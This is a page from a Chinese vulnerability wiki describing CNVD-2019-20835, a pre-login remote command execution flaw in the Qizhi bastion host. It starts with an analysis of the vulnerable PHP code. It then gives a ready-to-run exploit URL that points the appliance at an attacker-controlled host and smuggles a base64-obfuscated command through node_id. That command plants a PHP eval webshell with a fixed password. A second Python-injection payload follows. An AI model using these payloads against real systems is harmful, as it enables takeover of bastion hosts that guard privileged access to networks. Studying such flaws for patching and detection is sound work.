menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right yougar0.github.io(基于零组公开漏洞库 + PeiQi文库的一些漏洞)-20210715 chevron_right Web安全 chevron_right 齐治堡垒机 chevron_right (CNVD-2019-20835)齐治堡垒机 前台远程命令执行漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CNVD-2019-20835)齐治堡垒机 前台远程命令执行漏洞.md
    2.65 KB / 2021-04-21 09:23:46
        (CNVD-2019-20835)齐治堡垒机 前台远程命令执行漏洞
    ==================================================
    
    一、漏洞简介
    ------------
    
    利用条件:无需登录
    
    二、漏洞影响
    ------------
    
    三、复现过程
    ------------
    
    ### 漏洞分析
    
    问题出现在ha\_request.php文件,第37行的exec函数,\$url为用户可控的变量,可见第33和34行。目光来到第23和24行,只要node\_request函数的返回值为"OK",即可跳过fatal函数(此函数为自定义函数,作用类似PHP内置的exit函数),继续往下执行。
    
      Node\_request函数的定义在include/common.php文件中,见下图2。按照其原本的逻辑,其作用是请求\$url,并返回其内容。根据代码逻辑,\$url
    =
    \"http://\$req\_ipaddr\".\"/listener/\$method.php?n=\$req\_node\_id&a=\".urlencode(json\_encode(\$args));。所以\$url变量值类似于
    
    <http://10.20.10.11/listener/cluster_manage.php?n=1&a=%5B%22install%22%5D>这样的字符串。
    
      但是\$req\_ipaddr和\$req\_node\_id均来自用户输入。因此,假设10.20.10.11为黑客可控的服务器,listener/cluster\_manage.php文件的内容为"\<?php
    echo
    'OK';\>",即可使得node\_request函数返回"OK",从而跳过fatal函数,继续往下执行来到exec函数。
    
      回到exec函数,此时该函数的第一个参数是这样的,\"wget
    \--no-check-certificate http://10.20.10.11
    /ha\_get\_install.php?n=\$req\_node\_id -O
    backup\_scripts.tar.bz2\",所以我们的payload只能放在\$req\_node\_id变量中。
    
      见下图,\$req\_ipaddr和\$req\_node\_id其实来自于\$\_REQUEST\['ipaddr'\]和\$\_REQUEST\[node\_id'\],并做了全局过滤,删除掉一些危险字符。![1.png](./resource/(CNVD-2019-20835)齐治堡垒机前台远程命令执行漏洞/media/rId26.png)![2.png](./resource/(CNVD-2019-20835)齐治堡垒机前台远程命令执行漏洞/media/rId27.png)![3.png](./resource/(CNVD-2019-20835)齐治堡垒机前台远程命令执行漏洞/media/rId28.png)
    
    ### 漏洞复现
    
    访问**http://www.0-sec.org/listener/cluster\_manage.php**返回"OK"。
    
    执行以下链接即可getshell,执行成功后,生成PHP一句话马/var/www/shterm/resources/qrcode/lbj77.php
    密码10086
    
        https://www.0-sec.org/ha_request.php?action=install&ipaddr=www.0-sec.org&node_id=1${IFS}|`echo${IFS}"ZWNobyAnPD9waHAgQGV2YWwoJF9SRVFVRVNUWzEwMDg2XSk7Pz4nPj4vdmFyL3d3dy9zaHRlcm0vcmVzb3VyY2VzL3FyY29kZS9sYmo3Ny5waHAK"|base64${IFS}-d|bash`|${IFS}|echo${IFS}
    
    据说还有另外一个版本是java的:
    
    ```
    POST /shterm/listener/tui_update.php
    
    a=["t';import os;os.popen('whoami')#"]
    ```
    
    
    
    参考链接
    --------
    
    > https://www.cnblogs.com/StudyCat/p/11256944.html
    
    
    links
    file_download